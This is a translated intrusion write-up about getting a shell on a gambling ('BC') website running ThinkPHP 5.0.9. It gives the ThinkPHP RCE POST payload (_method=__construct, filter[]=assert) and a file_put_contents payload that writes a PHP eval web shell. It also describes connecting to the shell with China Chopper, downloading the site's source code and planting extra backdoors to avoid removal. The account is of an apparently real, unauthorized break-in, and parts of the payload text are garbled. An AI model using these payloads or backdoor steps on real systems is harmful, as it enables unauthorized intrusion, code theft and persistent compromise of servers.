Title: Simple BC site getshell

0x01 Determine the target

Main site:

Side by:

0x02 Vulnerability Exploit

Through information collection, it was found that it was tp v5.0.9, and this version has a tp-rce vulnerability.

Test directly through payload.

Post: _method=__constructfilter[]=assertmethod=getget[]=phpinfo()

Find payload and type directly:

Post: _method=__constructfilter[]=assertmethod=getget[]=phpinfo()

It was found that it is from php 5.4.45.

Try getshell directly:

It is found that the system is disabled, and the same is true for trying other system commands.

Check out those functions that desable_functions in phpinfo are disabled.

Find a way to bypass and write horses (I've been stuck here for a long time)

Finally, through a penetration friend, I came up with the following one that can use file_put_contents to write the shell directly. After thinking for a long time, I forgot to use other functions to write the horse directly. I don’t have to use the system command to write the horse, but the underlying knowledge is still weak. Thank you again!

0x03 getshell

Construct payload:

_method=__constructfilter[]=assertmethod=getget[]=file_put_contents('a.php','?php eval($_POST[a])?')

The writing is successful and connected with the kitchen knife.

Connected successfully.

View permissions:

Remote Security Mode was found to be activated.

If you want to bypass it, you find that many functions are disabled and the account is not successful.

Download source code:

Deploy more backdoors to prevent deletion.

0x04 Summary

1. Open the BC website, and through the bottom version information, I found that the site framework is tp v5.0.9, and there is an RCE vulnerability

Post: _method=__constructfilter[]=assertmethod=getget[]=phpinfo()

2. It was found that it is in php 5.4.45 version. I directly tried to execute the commands and found that the system function and the functions that execute the system commands were also disabled.

Post: _method=__constructfilter[]=assertmethod=getget[]=whomai

3. Although the system command function is disabled, you can use file_put_contents to write shell directly to bypass it.

4. Get getshell

Construct the payload:

_method=__constructfilter[]=assertmethod=getget[]=file_put_contents('a.php','?php eval($_POST[a])?')

5. Write successfully, connect with kitchen knife

Source: https://xz.aliyun.com/t/9232